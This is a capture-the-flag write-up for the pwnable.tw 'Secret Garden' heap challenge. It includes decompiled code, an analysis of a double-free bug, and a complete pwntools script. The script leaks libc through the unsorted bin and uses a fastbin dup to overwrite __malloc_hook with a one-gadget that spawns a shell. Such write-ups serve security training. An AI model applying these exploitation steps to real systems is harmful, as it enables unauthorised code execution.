# PWNABLE
# Secrect Garden
## Source code
```cpp=
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char v3[8]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]
v4 = __readfsqword(0x28u);
sub_FE1(a1, a2, a3);
while ( 1 )
{
sub_B6A();
read(0, v3, 4uLL);
switch ( (unsigned int)strtol(v3, 0LL, 10) )
{
case 1u:
raise();
break;
case 2u:
visit();
break;
case 3u:
remove();
break;
case 4u:
clean();
break;
case 5u:
puts("See you next time.");
exit(0);
default:
puts("Invalid choice");
break;
}
}
}
```
### raise()
```cpp=
int raise()
{
_QWORD *v0; // rbx
void *v1; // rbp
_QWORD *v2; // rcx
int v3; // edx
_DWORD size[9]; // [rsp+4h] [rbp-24h] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u);
size[0] = 0;
if ( unk_202024 > 0x63u )
return puts("The garden is overflow");
v0 = malloc(0x28uLL);
*v0 = 0LL;
v0[1] = 0LL;
v0[2] = 0LL;
v0[3] = 0LL;
v0[4] = 0LL;
__printf_chk(1LL, "Length of the name :");
if ( (unsigned int)__isoc99_scanf("%u", size) == -1 )
exit(-1);
v1 = malloc(size[0]);
if ( !v1 )
{
puts("Alloca error !!");
exit(-1);
}
__printf_chk(1LL, "The name of flower :");
read(0, v1, size[0]);
v0[1] = v1;
__printf_chk(1LL, "The color of the flower :");
__isoc99_scanf("%23s", v0 + 2);
*(_DWORD *)v0 = 1;
if ( qword_202040[0] )
{
v2 = &qword_202040[1];
v3 = 1;
while ( *v2 )
{
++v3;
++v2;
if ( v3 == 100 )
goto LABEL_13;
}
}
else
{
v3 = 0;
}
qword_202040[v3] = v0;
LABEL_13:
++unk_202024;
return puts("Successful !");
}
```
- raise() use malloc to **allocate for v0 with the size of 0x28**, make sure all element in v0 is zero.
- Then, malloc to allocate for v1 with the size which I input, I will enter the name of flower with the respectively size. -> **v0[1] = v1** -> **v0[1] is the pointer to v1.**
- Afterwards, raise() requires to input the color of the flower with the size: 23(make sure < 3 bytes), and store in v0[2], and ->`*(_DWORD *)v0 = 1`;
- Finally, it **stores v0 to qword_202040** **make sure the size of qword_202040 <= 100**
#### Conclusion
**I create the struct like this**
```cpp=
struct raise{
int used; #set when raise successfully
char *name_flower; #input the size and input the name
char color_flower[24]; #nothing special, except for the input
}
```
##### Then, the program will store a pointer to this struct in qword_202040. I will call qword_202040 the garden.
### visit()
```cpp=
int sub_F1D()
{
__int64 v0; // rbx
__int64 v1; // rax
v0 = 0LL;
if ( unk_202024 )
{
do
{
v1 = qword_202040[v0];
if ( v1 && *(_DWORD *)v1 )
{
__printf_chk(1LL, "Name of the flower[%u] :%s\n", (unsigned int)v0, *(const char **)(v1 + 8));
LODWORD(v1) = __printf_chk(
1LL,
"Color of the flower[%u] :%s\n",
(unsigned int)v0,
(const char *)(qword_202040[v0] + 16LL));
}
++v0;
}
while ( v0 != 100 );
}
else
{
LODWORD(v1) = puts("No flower in the garden !");
}
return v1;
}
```
#### It is simple to print all the flowers in the garden with the condition that `v1 && *(_DWORD *)v1`, which also means v1 is the valid pointer (not null) and used in struct flower is set.
### remove()
```cpp=
int remove()
{
_DWORD *v1; // rax
unsigned int v2; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( !unk_202024 )
return puts("No flower in the garden");
__printf_chk(1LL, "Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &v2);
if ( v2 <= 0x63 && (v1 = (_DWORD *)qword_202040[v2]) != 0LL )
{
*v1 = 0;
free(*(void **)(qword_202040[v2] + 8LL));
return puts("Successful");
}
else
{
puts("Invalid choice");
return 0;
}
}
```
#### This function takes input(v2) from user and check `v2 <= 0x63 && (v1 = (_DWORD *)qword_202040[v2]) != 0LL `, then free this pointer to flower.
### clean()
```cpp=
unsigned __int64 clean()
{
_QWORD *v0; // rbx
_DWORD *v1; // rdi
unsigned __int64 v3; // [rsp+8h] [rbp-20h]
v3 = __readfsqword(0x28u);
v0 = qword_202040;
do
{
v1 = (_DWORD *)*v0;
if ( *v0 && !*v1 )
{
free(v1);
*v0 = 0LL;
--unk_202024;
}
++v0;
}
while ( v0 != &qword_202040[100] );
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}
```
#### Loop all flower in the garden(from 0 to 100), check condition: `*v0 && !*v1 `
### exit()
#### leave the program
## Bug
```cpp=
if ( v2 <= 0x63 && (v1 = (_DWORD *)qword_202040[v2]) != 0LL )
{
*v1 = 0;
free(*(void **)(qword_202040[v2] + 8LL));
return puts("Successful");
}
```
***free:*** **not** set **ptr to null** and check **used to 0**. -> **double free** -> **arbitrary write primitives**
#### And free THE CHUNK STORE THE NAME OF THE FLOWER, NOT THE FLOWER.
## Approach
#### Everything will be clear if I have the address of libc. Thus, let's try it.
### Leak libc
**Notice that:** in the raise() function, the program will malloc 0x28 (the chunk will have a size of 0x30) and I have one more time to request malloc with the size I input(for name of the flower).
**Target:** *unsortedbin* + *remainder*.
**Example**
- I request 0x100 size for name (0x110 size for chunk) twice; the second is to ensure that the chunk will not consolidate with the top chunk.
- Then, free the first chunk
- Request 0xd8 size for name(0xe0 size for chunk)
- **The reason**: 0x30 + 0xe0 = 0x110
- First, the unsorted will take 0x30 in unsortedbin to request for the struct flower, and the request for the name in the second (0xe0) will allocate for the remain chunk.
- Write the name with length 8 to leak the address of unsortedbin when call printf()
#### The result
**Before free**

- I don't know exactly what the chunk with size of 0x1011 is, but it is not important, so I will pass it.

**After request to trigger**

- The first request for the struct flower.

- Next, request for the name of the flower.
#### The next time I call visit(), it will leak the address of unsortedbin->leaklibc.
### Fastbin dup to trigger call system("/bin/sh"): onegadget.
- First, I try to overwrite the malloc_hook with **one gadet**. Unless it fails, I will find other ways. Fortunately, it works.

### Script
```python=
#!/usr/bin/env python3
from pwn import *
host = 'chall.pwnable.tw'
port = 10203
context.log_level = 'debug'
context.binary = elf = ELF('./secretgarden_patched', checksec=False)
libc = ELF("./libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
gs = '''
b *0x555555400c32
b *0x555555400c65
b *0x555555400c65
b *0x555555400f1d
b *0x555555400e12
b *0x555555400e74
b *0x555555400f8b
b *0x555555400fb2
b *0x555555400f8b
b *execve
b *0x7ffff7a857e5
'''
# 0x7ffff7a857e5 abort
#b *0x555555400c65
index = 0
def info(mes):
return log.info(mes)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
def add(size, name, color):
global index
io.sendline(b'1')
io.sendlineafter(b'Length of the name :', str(size).encode())
io.sendlineafter(b'The name of flower :', name)
io.sendlineafter(b'The color of the flower :', color)
io.recvuntil(b'Your choice : ')
index += 1
return index - 1
def show():
io.sendline(b'2')
#io.recvuntil(b'Your choice : ')
def free(index):
io.sendline(b'3')
io.sendlineafter(b'Which flower do you want to remove from the garden:', f'{index}'.encode())
io.recvuntil(b'Your choice : ')
def clean():
io.sendline(b'4')
io.recvuntil(b'Your choice : ')
def exit():
io.sendline(b'5')
io = start()
#io.timeout = 0.1
io.recvuntil(b'Your choice : ')
'''
LEAK HEAP
add(2, b'aa', b'AA')
add(2, b'bb', b'BB')
free(0)
free(1)
free(0)
add(0, b'', b'CC')
show()
io.recvuntil(b'Name of the flower[2] :')
leak_heap = u64(io.recv(6) + b'\x00\x00')
info(hex(leak_heap))
'''
#=================================================================================
# LEAK libc
chunk_a = add(0x100, b'aa', b'AA')
chunk_b = add(0x100, b'bb', b'BB')
free(chunk_a)
chunk_c = add(0xd8, b'c'*8, b'C'*8)
show()
io.recvuntil(b'Name of the flower[2] :cccccccc')
leak_libc = u64(io.recv(6) + b'\x00\x00')
libc.address = leak_libc - 0x3c3b0a
info("Leak address: " + hex(leak_libc))
info("libc base: " + hex(libc.address))
io.recvuntil(b'Your choice : ')
#================================================================================
#FAST BINS dup
chunk_d = add(0x68, b'd'*4, b'D'*4)
chunk_e = add(0x68, b'e'*4, b'E'*4)
free(chunk_d)
free(chunk_e)
free(chunk_d)
dup = add(0x68, p64(libc.sym['__malloc_hook'] - 35), b'F'*4)
gar1 = add(0x68, b'g'*4, b'G'*4)
gar2 = add(0x68, b'i'*4, b'I'*4)
overwrite = add(0x68,b'a' * 19 + p64(libc.address + 0xef6c4), b'J'*4)
#add(0x68, b'test', b'oke')
free(gar1)
io.sendline(b'3')
io.sendlineafter(b'Which flower do you want to remove from the garden:', f'{gar1}'.encode())
#free(gar2)
io.interactive()
```